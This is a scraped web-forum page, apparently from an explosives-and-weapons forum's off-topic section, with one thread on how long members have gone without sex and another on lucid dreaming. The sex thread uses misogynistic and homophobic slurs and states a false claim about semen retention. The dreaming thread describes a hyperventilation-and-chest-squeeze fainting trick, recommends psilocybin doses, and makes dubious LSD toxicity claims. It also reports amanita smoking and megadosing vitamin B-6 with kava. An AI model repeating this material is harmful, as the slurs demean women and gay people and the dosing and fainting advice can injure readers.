30 seconds of her life, who knows? :o
[EDIT: Women around here should be more like my bass guitar. I can beat the shit out of it daily and it only begs for more, it'll always have the same sexy curves as when I
first bought it, and it only "talks" when I take it out of the case and plug it in...:p ]
knowledgehungry August 2nd, 2006, 03:24 PM

What I believe he means is that he did not have sex for ten years because, he was a "w ard of the state". As I doubt he was married conjugal visits were not granted, and NBK
didn't believe in the other type of prison sex. Thus no sex for ten years.
ShadowMyGeekSpace August 2nd, 2006, 03:52 PM

18 years, 6 months. And the last time I had sex... it was with my mom!
That is to say, the last time I had sex was when I was born. *shivers*
Lewis August 2nd, 2006, 04:11 PM

Sixteen years and running.
Mad scientists aren't nessicarily w oman magnets.
nbk2000 August 2nd, 2006, 08:55 PM

Spend your prime years in the joint, surrounded by nothing but dudes and fags, and you learn real quick to suppress the sex drive, otherwise you go crazy from frustration, or
do something stupid like hit on female staff or fuck with faggots.
Then, after getting out, you realize that pussy is really unimportant, compared to your freedom. Especially after you see the percentage of guys inside because of a bitch. :o

ShadowMyGeekSpace, you are truly w eird.
nbk2000 August 3rd, 2006, 05:00 PM

A funny way of saying that he's still a virgin. :D
shady mutha August 3rd, 2006, 07:10 PM

I never hold out for for than a month. If I have no girlfriend I just go see a girl at the local whorehouse. I man needs to fuck thats all there is to it.
ShadowMyGeekSpace August 4th, 2006, 08:04 PM

nbk grabs the win! And yeah, autism is a major cock block. But, like nbk stated, getting laid is not that important in the grand scheme of things.
cutefix August 4th, 2006, 10:32 PM

The more you use your penis the less you are likely to do the same with your brains...

That may be true, but when w omen go to lengths to wave their vaginas in front of our noses to invoke a sexual responce and thus gain a temporary control of us, do they also
realize their assholes are but an inch away? Just asking...

3 1/4 years for me
I decided to swear off women while I'm in college, it just helps me concentrate on school. And plus I can let my house get absoloutly filthy and not give a shit (I pretty much
live in the engineering building at school anyway, all I do at my house is eat and sleep and make explosives :D ) because I don't have to w orry about a girl coming over to
complain about it.
corrosive August 5th, 2006, 01:46 AM

Temptation of the flesh gives nothin beneficial or is worth the time you spend with the prostitute and whatnot. All you get is a "high" if you will, or a pleasure for a short period
of time, that you will w ant to redo after another short period of time, there is a small interval which has no drive and that is your true sense of w hat it is and w hat it can do to
you, yet you may get infected with a lifelong disease or pain and get the sin written on you.
People who live by sex or think about it all the time in pleasure and happiness are just those who take things into themselves easier then others, I'm talking about will, they
don't have the power even if life depended on them to not have sex with a women for any amount of money or if thats not possible, to masterbate so they can relieve their
draught of the pleasurful "orgasm". They just can't live w ithout it, they are addicted.
They need to siphon off of pleasures to feel right, sex... They are in a jail of the mind, and they are under the spell that which God created to see those who are easily attracted
to the little program in their head to like curves of a w omens body, God see's this and see's that they can't hold temptation of the flesh, he's disappointed, it shows what kind of
person you are, and what kind of sins you tend to lean towards.
I respect those highly who do not care for women or their "spells" that they cast with their looks and bodies to "own" the men for a period of time or forever, it shows they
have pow er in themselfs...even though they may sin in another part of the mind, they can withhold from this really strong pull of temptation.
nbk2000 August 5th, 2006, 07:05 AM

An associate of mine likes to go out and chase the pussy.
He has the flashy car and harleys, and all that jazz.
And the poor fellow likes to clown me for not getting any.
What am I not getting?
I'm not getting women in my business, trying to control w ho is see or what I do, drain my money, telling me what to do, playing 'keep away' w ith the pussy, and all the other
female dramas that he's constantly complaining about.
I stand alone. :)
Now, don't get me wrong, I still like the emotional pleasure of being held and loved, but the price to pay for the good is vastly outw eighed by the bullshit.
Chris The Great August 5th, 2006, 08:32 AM

I am so far still a virgin, and I do not expect this to change for a w hile. I've never been out to "get laid", and so I don't really mind. My girlfriend doesn't want premarital sex
and I'm fine w ith that. I was never out to nail someone anyw ay.
Now, the stuff that makes it all worth it- shes is also messy, she likes explosives, she hates female drama, and the emotional pleasure of being with her is wonderful. So a big
Ha! to all you suckers out there getting laid and at the same time fucked over! No sex here, but no getting fucked over either!
So, just so you guys know , out there who are woman who understand your hobbies, who don't mind that you are messy and are basically a geek at heart :)

I have the main views as everyone else here too.
I, in fact, have never yet had a girlfriend, Im not fridget, I ve just never tried. On top of that my w eight and sheer ugliness have contributed :p, dont really care though, I can laugh about
this kind of stuff.
What's the big deal with people having to loose their virginity these days? I think people should take it at their ow n pace and not be pressured by other people to go fuck.
Although my view of this m ay not change, I wouldn t be not tempted to go to a prostitute as I get older, as stated by shady mutha A m an needs to fuc k that's all there is to it but I doubt
that will happen.
Which brings m e to licensed prostitutes and STDs. Is there any know restric tions on this ? Can they s till legally work if they have an STD? And is there much of a risk w ith whores and
STD s in the general aspect?
Chris The G reat you re a lucky one. I dont think there w ill be a girl w ho w ill ever understand m y hobbies/belief s/interests (rare drug use, drug manufacture and extrac tion and everything
that relates to the E&W forum.). When I eventually get a girlfriend this w ould differently be something I should keep from here until later.
akinrog August 5th, 2006, 09:19 AM

Now, the stuff that makes it all worth it- shes is also messy, she likes explosives, she hates female drama, and the emotional pleasure of being with her is wonderful. So a big
Ha! to all you suckers out there getting laid and at the same time fucked over! No sex here, but no getting fucked over either!
If you ask experience of a long married guy, I would recommend you not to be fooled by her appearance as a hot-shot.
My lady w as also a hot-shot, kick-ass lady exceeding many man in bravity and w isdom before I got married. However, after marriage everything changes dramatically.
Not because I'm complaining, but just like man changes after marriage, w oman changes too. And I don't say you should not marry, but after marriage you can be surprised to
see how different she actually is. Woman is w oman no matter how manly she is.
But abstaining from marriage is one of the mistakes you westerners do. Since you do not multiply enough, the labor force vacuum created thereby is filled by your multibillion-
multi/transnational companies with imported labor (i.e. illegal immigrants) or they export the jobs to such countries as China.
In addition marrying after age of thirty is problematic, since your genes shall have been too much deteroirated (sp?) to extent that you may have congenitally ill kids.
If you are worried about the w ife being a shackle at your feet, then you must create an understanding w ith your wife at the beginning. Regards.
shady mutha August 5th, 2006, 06:48 PM

Good luck with your w oman Chris. But you should fuck her before marriage, just so you know if your compatible in the bedroom.
One thing ive noticed about women is they all have very different sex drives. I had a girlfriend who w ould only let me root her on w eekends and very boring in the bedroom.
Now I have one who needs it twice a day and up for anything, you just never know.
As for stupid bitch games the rule is simple, just dont play. When they start talking rubbish you just tell em straight out to stop playing games, its all in your head, now shut up
or im going down the pub.
As for sluts they serve their purpose. Always use the rubber and you will be right.
shooter3 August 9th, 2006, 12:34 AM
What do you call a passionate, hot looking, nymphomaniac, after she gets married?...........Fat and fridgid!
neo-crossbow August 9th, 2006, 12:50 AM

Seriously, how long is the longest you've gone without?
I went the first 18 years of my life without it, but I haven't stopped since!
Dank$taVegas August 9th, 2006, 02:59 AM

Well 16 years, since I lost my virginity when I was 16. But the longest after that has been about a year give or take.
Now I have a steady girl, my best friend the most amazing girl I have ever met in my whole life. She handles a .308 better than most people I know (and looks super hot
holding a gun) & she loves shooting & hunting as much as I do, and w e have many more thing in common. I have been having the best sex of my life for the last 5 years with
the most amazing girl; I have been planning on asking her to marry me, but haven't popped the question yet as I am waiting till next year in December when I take her to
Australia to visit some of my family there, I have the place already picked out (The 12 Apostles near Port Campbell) and have the ring already w hich I bought about a year ago
when I was originally going to ask her but thought I could find a better more special time to pop the question and this trip to Australia is the perfect time, so I'm getting excited
as the time creeps closer.

I have the place already picked out (The 12 Apostles near Port Campbell)
You shouldnt be expecting to see 12, I think theres 8 left now. They re falling over one after the other.
Its still an amazing place, just some of the rock formations have fallen apart.
I have a laugh at the signs that are always up when leaving many areas, "Remember, w e drive on the wrong side of the road in Australia" :D.
Dank$taVegas August 9th, 2006, 12:23 PM

After visiting family in Melbourne my moms & dad are going to visit other relatives while me and the lady are going to back pack around for a few w eeks and stay in hostels.
My friend and his girlfriend just got back from Australia (He w as there last January) so I got the idea of back packing around from him since they had an awesome time. He
never mentioned that the 12 Apostles is only 8 now. If you guys from dow n under know of a better place to take her and pop the question let me in on a good place. On our
trek we plan on stopping in Nimbin a place my moms neglected to take me last time I w as there maybe because I was a little young last trip, but now that I'm older I think me
and the lady w ill enjoy that stop over very much!
If I were to be driving down under, I think I'd fit in very well, Australians from what I remember are offensive drivers, just the w ay I like to drive.

On our trek we plan on stopping in Nimbin a place my moms neglected to take me last time I w as there maybe because I was a little young last trip
A little too young, it might take me a while to guess why..... (http://ww w.nimbinmardigrass.com/) :rolleyes:.
Yep I've confirmed 8 left now. (http://en.wikipedia.org/w iki/The_Tw elve_Apostles%2C_Victoria) A 50-metre tall Apostle collapsed on July 3, 2005, leaving eight.
Also the London Bridge has collapsed :(.
If you guys from down under know of a better place to take her and pop the question let me in on a good place.
If your asking for my personal opinion, I w ouldnt choose the 12 apostles, it is one of those tourists places w here people are alw ays around and taking pictures, but if that
doesnt bother you go ahead.
Other good places include. Wilsons promontory (http://w ww.parkweb.vic.gov.au/1park_display.cfm?park=217), The Grampians (http://ww w.visitgrampians.com.au/),
Marysville (http://ww w.marysvilletourism.com/), on the beach somewhere, or the botanical gardens (http://en.wikipedia.org/w iki/Royal_Botanic_Gardens,_Melbourne)in
Melbourne.
But in the end its your opinion that really matters, you should choose where you think w ould be perfect. If you think the 12 apostles sorry 8 apostles :D, is the best place to
say I do then it probably is.
dejitaru August 10th, 2006, 05:42 PM

2 months.
And it's good to fuck friends.
cutefix August 10th, 2006, 11:12 PM

I just remembered what davo wrote
On a more serious matter, I've always w ondered if a prolonged length of time w ithout sex or masturbation leads to vastly increased testosterone levels or enhanced "male"
brain function - superior mathematical and spatial aw areness, increased endeavour for social dominance etc
This may sound funny to many people but there is a grain of truth to that statement.
There had been some discussions in the past related to this matter but was scoffed at by medical authorities as they cannot find what they call as sound evidence to prove
such as testosterone level the source of aggressiveness is low ered...but its beyond hormones...which is not measurable
But esoterically speaking in eastern methods such as many forms of yoga( tantra,kundalini, raja) and in Taoism the ability to conserve the seed is considered the secret of
enhancing ones mental and physical capability and had been proven by countless practitioners of those arts.

Corrosive, there is also the prison of the body. Some of the chemicals that 'ate' my nervous system also caused diabetes. When the two got together, a simple walk to the
postoffice became impossible. It also 'put to sleep' certain portions of my anatomy.
Know what the most damnable part of it is? The chicks are now romantically interested in having a relationship. Aarrrgh!
Nihilist August 31st, 2006, 06:20 AM

I just remembered what davo wrote
This may sound funny to many people but there is a grain of truth to that statement.
There had been some discussions in the past related to this matter but was s coffed at by medical authorities as they cannot find w hat they call as sound evidence to prove suc has
testosterone level the source of aggressiveness is lowered...but its beyond hormones...w hich is not measurable
But esoterically speaking in eastern methods such as m any forms of yoga( tantra,kundalini, raja) and in Taoism the ability to conserve the seed is considered the secret of enhancing
ones mental and physical capability and had been proven by countless practitioners of those arts.
According to a study I read on pubmed a w hile back, having sex once every seven days would produce optimal testosterone levels. Right after you have sex, your testosterone
drops and then continues to build up until day 7, at which point it drops again and stays dow n until you have sex.
Lewis September 1st, 2006, 11:05 PM

I've recently started believing in "friends w ith benefits" to an extreme degree.
I dated a girl for over a year, and it's advantages definatley did not outw iegh its cons. Now, about a year later, I have weekly booty calls w ith the same girl, and it is a GREAT
system.
So, there 'yall go, I'm an oficial Friend Fucking convert. :D
cutefix September 2nd, 2006, 11:12 PM

According to a study I read on pubmed a w hile back, having sex once every seven days would produce optimal testosterone levels. Right after you have sex, your testosterone
drops and then continues to build up until day 7, at which point it drops again and stays dow n until you have sex.
There is a great difference how Eastern and western people interpret these sex related things...
And they can not agree on this issue ever since.
But the east had a profound knowledge on topics related to sex that the w est is even borrow ing...

Hmm, well the longest I've ever been without sex was the 17 and a half years between my birth and the loss of my virginity. I'm assuming though that doesn't count. so I'm
going to have to say 6 months, last year w hile I w as working as a programmer.
Still I've more than made up for my "abstinence" this year at university.
As for the whole girlfriend lark, to be honest the whole commitment thing does my head in. I'm happy waking up next to random 18 year olds after a night out

And w hat's so great about that is that, in 15 or so years, w hen you're wanting to get married and have a family, is that almost any woman you find will have been doing the
same thing you did...waking up to some random 20 year old dude. :p
Knowing that your wife was a whore/slut/cum-bucket in her youth doesn't instill great respect in later life.
I'm not suggesting virginity till marriage, only that some self-restraint and self-respect be demonstrated by not acting the part of a meat-dildo, fuck toy for any random slut
that'll spread 'em for you.
zeocrash September 4th, 2006, 04:53 PM

I prefer to think that I'm just really charming rather than that they're sluts.
I'm sure I'd settle dow n if the right woman came along, but I don't see the point in being tied into a relationship that's not w hat you're looking for
Minion5 September 5th, 2006, 11:43 PM

I prefer to think that I'm just really charming rather than that they're sluts.
My thoughts exactly.
I may be a bit late to this topic, but I'd like to say that the longest that I have gone w ithout sex would be about two years (though this was not recently).
Maybe I am able to find girls that are "shagable" because I make my intentions half-known when I first meet them? I sometimes make a few jokes, am a generally positive
person (which helps them get along comfortable with me. No one likes stiffs).
Staying on topic, I hope that my record doesn't go past tw o years. :rolleyes:
nuclearattack September 8th, 2006, 06:29 PM

My longest period is 1 week because I was sick!
I hope it w ill never go longer!

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Lucid Dreaming
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Red Beret August 3rd, 2006, 12:04 AM

Has anyone else experienced this?
When I was I child I recall having these, and more recently I have started reding up on them. Using certain techniques I have
been able to become partialy aware that I am actualy dreaming, but not yet control them. The Nova dreamer (an REM dection
device) seems interesting, gently alerting you when you experience REM during sleep. But the only one I can get in Oz is
around $500!!
It seems to me that lucid dreaming could give you the power to learn things while you sleep, unlock the hidden power of your
brain, and possibly go on an LSD type trip without the risk.
What are all your thoughts on this? At the least it would be an interesting novelty. Perhaps linked to the mysterious Out Of
Body experience (OBE)? On that matter, has anyone influenced themselves to have an OBE, if yes, how did you do it?
BTW, I'm not saying that an OBE is actually what it claims to be, I'm just refering to that phenomena by its common name.
c.Tech August 3rd, 2006, 01:12 AM

I ve had lu cid dreams when I was a kid too. I m thinkin g that m aybe they occur more in children.
Did you get the idea from the show on 2 nights ago about near death experiences? It was quite interesting, talking about how
OBE's work and ways people induced near death experiences states without drugs.
They also spun people around in circles, you know, like those things used for training astronauts, they blacked out for a
matter of seconds, then came back. The spinning thing was meant to represent a fighter jet taking sharp turns because that is
also where blackouts can happen.
Another machine they used for testing was a modified motorbike helmet fitted with electronics that created a NDE like effect.
I think both these devices worked I the same way as an NDE does, by cutting off oxygen to parts of the brain.
I still have it on tape, I might find a way it can be put onto computer and make a torrent. Are there any places you can go to
hire appliances that will do this? Would DVD recorders work?
I have read a lot about psychedelic drugs, and am especially interested in amanitas http://www.erowid.org/plants/amanitas/
a m a n i t a s .shtml alth ough I ve only tried them a few times. 1st time was smoked 1 gram, 2nd time s moked 2 grams, 3rd time
3.5 grams oral, 4th time 1 gram oral. Althou gh I ve had no such lu ck with the psychedelic effects or lucid dream s, ju st
uncontrollable twitching and trem bling the 1st time, n ext time I m g o ing to smoke up to 4 grams until I get high. All were
dried mushrooms picked fresh.
http://www.erowid.org/plants/calea_zacatechichi/calea_zacatechichi.shtml another psychedelic substance, which I think is the

stu ff that th ey s ell a s a legal h ighs product d r e a m e n h a n ce r.
nbk2000 August 3rd, 2006, 01:39 AM

Although Ive had no such luck with the psychedelic effects or lucid dreams, just uncontrollable twitching and trembling the 1st
time, next time Im going to smoke up to 4 grams until I get high.
That statement has Darwin Award candidate written all over it. :D
Red Beret August 3rd, 2006, 03:04 AM

Yes, I saw that show on TV, which put the subject back into my head. I have been interested in psychadelic drugs also, but
never tried for fear of ending up psychotic or something.
Lucid dreams are definatly more common in kids, as they don't nesasarily know what they are, and don't try to have them.
When you start trying too hard, it wont happen. You must be relaxed and positive.
I remember as a kid, waking up after a lucid dream, a flying one, feeling 'high' very, very high. Didn't understand at the time
though.
I think anyone can have them, I am trying at the moment, to get the high, as I need to stay away from chemically induced
highs from now on. Benefits are possible such as, increasing your learning power and actually learning in your dreams. If I
come into any money soon I may invest in a nova dreamer.

My advice? Don't learn this skill. I did, and it will ruin your life. Imagine never, ever getting a good night's sleep again. That's
lucid dreaming. Unless you can turn it off with drink, drugs or sex, forget it. Sheer exhaustion works, too, but only until you are
awake enough for your brain to kick in again.
Sometimes, it is fun, other times it isn't. Always being in control of your dreams is great, but the being "awake" part wrecks it,
and means you rarely feel rested.
Lewis August 3rd, 2006, 04:20 PM

It's funny that this has been brought up, because I have vivid, often lucid dreams nearly every night these days. It's not
nessicarily a skill to be learned as much as a brain type.
I recently was at the hospital where I had an EEG test performed on me (like a lie detector but for medical reasons).
Apparently these experiences can be caused by certain overactive brains.
A doctor told me I had bursts of intense brain activity less than a second long at regular intervals, and this was causing all
sorts of interesting things to happen in my sleep.
Just a random, related story I guess.
c.Tech August 3rd, 2006, 08:08 PM

http://www.lucidity.com/LucidDreamingFAQ2.html#harmful
T h i s d o e s n t mention your problem Ja ck s complete. Maybe you should tell them to put it on their web site warnin g others of
what can go wrong.
http://www.lucidity.com/LucidDreamingFAQ2.html#preventwake is this like your problem, or are you talking about exhaustion
from lack of deep sleep? Have you thought of seeing a specialist in the field or a doctor, if so what did they say?
http://www.lucidity.com/LucidDreamingFAQ2.html#drugs shows vitamins and prescription drugs which may help, most of the
drugs are probably not dangerous.
Anira August 4th, 2006, 12:35 AM

I find that if you want to have dreams like that then go to sleep for a nap on a peacefull afternoon and sleep longer than you
should (like a few hours). I often read a book in the afternoon then take a nap. A lot of the time I will end up with a dream
that I am in the book and I have a degree of control over it.
Diabolique August 4th, 2006, 12:54 AM

What I do is enter a semi-meditative state, and focus my thoughts on a particular problem or idea. Time seems to disappear.
Very relaxing.
It has helped me solve many problems by blocking out the 'noise' of everyday life. Useful, but do not do it on a bus, or you
may miss your stop.
oxbeast August 4th, 2006, 04:42 AM

It's worth checking out Dr Stephen LaBerge's book on Lucid Dreaming. He appears to be the authoritive voice on the subject in
the scientific community.
A description and a link to a copy can be found at:

http://www.avaxhome.ru/ebooks/034537410x_0877730776.html

c.tech, thanks.
Dreaming you are awake is a nasty one. How often have you dreamt you are awake and getting on with the day when you
wake up again? I've had this happen up to twice in a row. And it sucks, too, as you have to get out of bed and do stuff, then
do it again, then again... Then you find that you are still in bed, staring at the ceiling.
akinrog August 7th, 2006, 05:19 AM

It's not totally relevant to lucid dreaming and I don't know how many of you know this trick. But beware it's dangerous for
adults especially those with cardiac and respitory problems.
Anyway the trick involves telling a person to inhale while bending (at the belly) (as if he shall touch the ground with his finger
tips) and exhale while straightening up the body deeply twenty times in a quick fashion (to cause hyperventilation). You
should also tell the subject that when he does the exercise 20th time, he should hold his breath and raise his arms.
When the subject does it twenty times, holds his breath and raise his arms a strong guy grabs him behind and squeze his
chest strongly. The subject immediately faints for a few seconds and during his unconsciousness he dreams.
However the strange thing with his dreams, they are very fast dreams. The subject sees them as if they are accelarated
movies. I volunteered a few times for this trick and it was awesome. :D
However, I was very young (a teen, to tell the truth). However, since a few decades past, I should not volunteer for such a trick
now nor I recommend for anybody above thirty. Regards.

akinrog - From what I saw in that show I watched it is probably parts of the brain suffering from lack of oxygen. I will watch it
again soon (probably tonight) and explain the parts of the brain when deprived of oxygen cause different effects in a NDE.
As for lucid dreaming, Ive decided to practice techniques and recognise my dream signs, only 2 dreams so far and it seems
like I have dreams when being in trouble.
The only thing that turns me off lucid dreaming is what Jacks Complete said, thanks for the warning. Instead of stopping
teaching myself how to lucid dream I will just make sure I never go too far with it. If I feel hardly rested from my dreams I will
stop immediately, possibility a good idea for anyone else to follow.
I still see potential in being able to dream lucid with out any ill effects, as people from the FAQ I gave a link to earlier. They
seemed fine and gave no such warning.
I spoke to my friend about lucid dreaming and he also seems it feel hardly rested after he has them (once in a blue moon).
One more strange thing he told me was he can sometimes control his dreams when his dreaming lucid, this I definitely want to
try to develop.
Id like to add, probably the funniest thing he has said with sleep is that he once went to sleep with his shirt off and woke up
with it on :p.
EDIT: Most of the text is taken word for word from the documentary is there life after death.
The scientific explanation is when someone experiences an NDE it triggers neurochemistry in the brain.
Neurological studies show that when parts of the brain are deprived of oxygen, they react in a predictable manner know as the
cortical release phenomenon.
For example, when the heart stops pumping blood to the temporal lobes of the brain, where memories are stored, massive
amounts of neurotransmitters start to randomly fire. This releases countless fragmented images and emotions associated with
past experiences.
When the parietal lobes loose oxygen, the visual cortex becomes impaired; this can cause a feeling of floating or a tunneling
effect.
Research has shown that if blood flow is cut off to the occipital lobes subjects will experiences an intense bright light.
Skeptics believe that who is seen on the other side is determined by your psychology, your memory, your beliefs.
Some who experience a NDE see religious figures, some see loved ones who have died before.
This shows those who espouse scientific explanation that a NDE is an interactive effect between neurochemistry, psychology,
memory and cultural influences in ones life
Science cannot account for the spiritual nature of an NDE.
The scientist on this documentary believed that an NDE is a blueprint set by god where we pass through to the afterlife, a
neurological gateway from this life to the next.
Horus XCIII August 9th, 2006, 02:24 AM

Yes, I saw that show on TV, which put the subject back into my head. I have been interested in psychadelic drugs also, but
never tried for fear of ending up psychotic or something.
Don't even get me started on this one. Psychedelics are a class of drugs I feel very strongly about; suffice it to say that you
will not "go psychotic". Dr. Strassman (a reputable MD, not some wacked-out acid-head with a doctorate like Leary became)
did an extensive survey of heavy LSD users. "Adverse reactions to psychedelic drugs. A review of the literature". J Nerv Ment
Dis. I found it at my local university library. Very interesting stuff. It's wise to be safe, but if you want to get into psychedelics
you should. Just don't do LSD; up until the late 80s/early 90s most LSD was fairly clean, but during the late 90s all these new
DOx compounds, with dosages low enough to fit onto blotter, started popping up on the internet, so you really don't know if
you're taking LSD or some odd research chemical. And the stuff that is LSD is usually in very very low doses, and quite
overpriced. At least where I live.
"Magic Mushrooms" (various Psilocybe, Panaeolus, Copelandia spp.) are a good psychedelic to start with. To reach the LD50
(this is based on animal studies of course), an 80kg human would have to ingest around 5 dried kg. And that's going on a
toxic dose of Psilocybin in IV terms; you could probably eat many more than that and still live. You would easily lose all sense
of reality before you'd even finished two ounces.
Sorry for ranting and raving and getting off-topic, like I said just one of those things . . . and I'm sure many of you know, with
certainty, that your "girlfriend's ex took five hits of acid and went insane, and now he thinks he's an orange"; what can I say, I
have science on my side.
If you're not in the mood to look up that journal reference, try this online one: http://www.erowid.org/chemicals/lsd/
lsd_journal3.shtml. In fact, the whole erowid LSD vault is very good. The only thing I disagree with is their LD50 info of
12,000ug. The Family (group of LSD traffickers and chemists, very good people) would take a "thumbprint" to become a
printer. This would involve rubbing your thumb in pure LSD powder and licking it off. That would easily be 400-500mg, probably
more, or 400,000 - 500,000ug.
Getting into psychedelics definately will greatly alter the way you perceive reality, but not in the normal "psychotic" way. You
won't be hallucinating while you're not tripping, for example. You'll just likely develop some very odd ideologies that most
other people won't understand. And that will, of course, happen only if you really get into the experience. Doing a little
"experimenting" shouldn't change you, so long as you stick to low doses (I'd recommend 2-2.5g dried P. Cubensis for your
first trip; enough to get a feel for it, but not so much that you'll be completely out of it).
jinxxxonu August 11th, 2006, 08:31 AM

"Imagine never, ever getting a good night's sleep again. That's lucid dreaming. Unless you can turn it off with drink, drugs or
sex, forget it."
I have to agree with Jack's, I've had lucid dreams since I was a child and as "Amazing" or "Fun" or "Trippy" as any of them
have been, I'd trade them ALL for a normal sleep impulse or schedule.
However, If you are interested in altered states of conciousness, I once had a VERY lucid dream in which I followed one of the
myriad mycological F.A.Q's on the internet and consumed about 1/8th of an ounce of psilocybin containing fungi and just "held
on tight" for about the next 6-8 hrs. The results were VERY interesting and worthwhile.
c.Tech October 1st, 2006, 05:30 AM

Last night I had an idea using the nova dreamer or similar device. A nova dreamer can be improvised using a mobile phone,
alarm or sound playing device instead of buying an expensive nova dreamer although the nova dreamer would be more
accurate. I havent yet tried this but in theory it works.
Get a device such as your mobile phone to play a sound whilst your sleeping, set it to play during the time you would be most
likely be in REM sleep, (not too loud or it will wake you up.)
When your awake play that sound and practice one or more of the following techniques or variations of them. http://
www.lucidity.com/LucidDreamingFAQ2.html#realitytest http://www.lucidity.com/LucidDreamingFAQ2.html#mild You can also tell
yourself with strong meaning many things like Im going to dream about flying. Im going to realise Im dreaming. Am I
dreaming? etc.
When you hear that sound play during your REM sleep one of the previous techniques may kick in.
Because I havent tried this yet I do not know if it is better to:

1. Focus very strongly on the technique or telling yourself things whilst letting the music play in the background nearly
unnoticed.
2. Focus on the music so you will most likely realise it during your sleep rather than putting all your concentration towards the
techniques.
_______
http://www.erowid.org/spirit/dreaming/dreaming.shtml this section of erowid is very good, it has lots of info on lucid dreaming
and reports of other peoples dreams. Not to forget it has dream reports under the influence of psychoactive substances, off
course it would, it is erowid.
_______
Ill like to point out some substances Ive been trying to get my hands on for some time now. There called kava lactones
which come in the form of a pill containing kava extract. More information on kava can be found here. http://www.erowid.org/
plants/kava/
Im hoping to one day synthesise kava lactones and test their effects individually, although I havent been able to find any
good synthesiss yet nor do I have the chemistry knowledge to do it safely.
Kava has many uses in dreams, increasing dream intensity, colours can become more vivid, usually the person gets a good
nights sleep and wakes up feeling rested.
The only bad side effects Ive read about happen with chronic use. They include liver damage, malnutrition, scaly skin.
If it was used occasionally as a recreational substance, to help with your sleep before important days or for use in your dreams
its side effects would probably not be seen.
Here are some reports from erowid evolving kava and the parts relevant to dreams, I prepared it a while back so forgive me if
it contains any irrelevant infomation.
http://www.erowid.org/experiences/exp.php?ID=14609
I usually have wild, vivid dreams on Kava, and I wake up feeling very rested.
That night I had the most vivid dreams of my life. The dreams were more amazing then tripping or anything. I learned alot
about myself, stuff that I can't even begin to explain.
http://www.erowid.org/experiences/exp.php?ID=1956Method #1) Ingredients: 1 cup Kava powder, four cups water, 6

tablespoons vegetable oil (I've used olive or canola), and two tablespoons liquid lecithin. Blend at top speed for five minutes.
The liquid will be 'coffee-and-cream' colored. Strain through a fiber filter. I usually use an old cloth diaper. You want something
pretty loose, like t-shirt fabric or cheesecloth. Straining can take a while and takes some patience. Eventually, all the liquid is
out and you have the solids in a ball in your strainer/cloth, and a bowl of suspicious smelling liquid. You can throw away the
solid mass.
Drink!
Method #2) Loosely wrap a cup of Kava powder in a loose piece of cloth. Holding it loosely above the ball of Kava, plunge it up
and down in 4 cups of water. Occasionally stop to squeeze out the kava ball. Keep plunging it up and down until the water is
the 'coffee-and-cream' color. This should take 5-15 minutes.
Drink!
Method #3) buy some kava tincture and drink that. This method does not produce very good effects, just sedative-like, but is
QUITE a bit easier than the other two methods which DO produce very good effects
Kava also gives me great and very vivid dreams coupled with an extremely restful deep sleep. Definitely something to do in
the evening, several hours before bedtime. I have found that while both methods are nice and relaxing, method #1 gives me
the vivid interesting dreams, and method #2 doesn't. However, method #1 is a bigger pain to prepare. I think the way it
works, is that there's a couple types of resins in the root, some of which are going to be extracted in method #2, using just
water. I know that there are some which are NOT water soluble and need to be emulsified, so hence the oil and lecithin
extraction procedure
You'll know how good your kava is by how much it makes your mouth and tongue numb. Really good Kava is quite noticable.
Bad kava doesn't numb out your mouth at all.
DOSE : 1 g oral Valerian (capsule)
6 mg oral Melatonin (pill / tablet)
1.5 g oral Vitamin B-6 (pill / tablet)
900 mg oral Kava (capsule)
BODY WEIGHT : 165 lb

I recently read several reports about a combination of valerian, vitamin B-6, and melatonin producing vivid, intense dreams. I
became interested in dreams after an experience several years ago in which I spontaneously left my body (an OBE - out of
body experience). After the experience, I attempted to voluntarily induce an OBE through several methods, including
meditation, various drugs, and remaining conscious while falling asleep. I have since had more spontaneous OBEs, but have
never completely succeeded at inducing one. The descriptions of people experiencing lucid dreams and leaving their bodies
using this combination sounded promising, so I decided to experiment.
At 12:55 am I ingested four 250mg valerian gelcaps, each standardized to at least 2mg of valerenic acids, two 3mg melatonin
tablets, fifteen 100mg B-6 tablets, and also three 300mg Kava gelcaps, standardized to 90mg of Kavalactones each. Valerian
has very little effect on me, and I read one report with Kava included, so I decided it couldn't hurt. This brand of Kava seems
somewhat weaker to me than others. After about 20 minutes, I experienced a slight isolation or dissociation from my body,
not as pronounced as what I get from DXM or cannabis but still significant, along with a mild headache and touches of nausea.
This dissociation was not at all similar to the feelings I get from Valerian, Kava, or melatonin, and was perhaps most like a low
dose of DXM without the mental effects. I have had a series of intense fights with my ex-girlfriend over the past week that
have left me physically and emotionally exhausted, this may have contributed to the negative effects I experienced. At this
point, more issues with my ex came up and prevented my from going to sleep for another hour. At 2:30 I finally laid down on
the couch in my dorm study lounge in order to avoid her. I had a difficult time falling asleep, but I'm not sure if it was because
of the time, the couch, or my agitated state. The last time I checked my watch was 3:35.
Over the course of the night, I had one long, intense dream involving a Led Zeppelin concert, my ex, a grassy field with trees,
and other details I don't remember. I was in control of my actions during the dream, but not aware that I was dreaming. The
dream culminated with me lying on the couch, looking at the lounge windows, which were unnaturally patterned with red, green,
and blue. When I realized that the windows didnt quite look normal, it dawned on me that I was still asleep. My eyes were
closed but I was still able to see the room in some way; this has been described by others as astral vision. I envisioned my
arms and legs above my body, and felt them move to the position I imagined, while at the same time remaining on the
couch. This strange split in body perception is something I have only experienced immediately prior to an OBE. With additional
concentration I was able to move my whole body to a position about 2 feet above my actual body. My awareness became
entirely centered in this projection of myself, and I was able to float up into the room, through the wall, and up the stairwell. At
the top of the stairwell, I tried to pass through another wall, but lost my focus and immediately returned to my body. I tried a
few more times to leave my body, without success, and slept the rest of the night without dreaming.
I am reluctant to attribute my experience entirely to the herbs and chemicals I ingested. I was exhausted and sleep deprived
prior to the experience, and in the past I have had OBEs while physically exhausted. However, I dont usually have an OBE
while physically exhausted, only on extremely rare occasions. I plan to experiment further, when I am in a better state of
mind, to see if something similar happens. Caution should be used when taking these substances. B-6 is described as having
toxic effects after a single dose of more than 2g, with daily doses of 100-300mg potentially causing problems. Overdoses of
B-6 can cause numbness of the extremities and a stumbling gait, along with nerve damage that may be permanent. I have
no idea what long term effects may result from periodic doses of 1.5g. I may reduce the amount in the future, even though
other reports indicate it could be the significant ingredient in this combination. Since 100mg is the lowest daily dose I have
seen listed as causing problems, I am going to assume my body can eliminate 100mg B-6 daily, and therefore wait at least
15 days before trying this again. I think it might be wise for someone taking a B-6 supplement to quit for a while before trying
this. Kava has also recently been described as potentially hepatotoxic, although this was a low dose and it was only included in
one report I've read.
When I awoke the next day around 1:00 pm I was quite rested and thinking to my self that I havent slept like that in a long
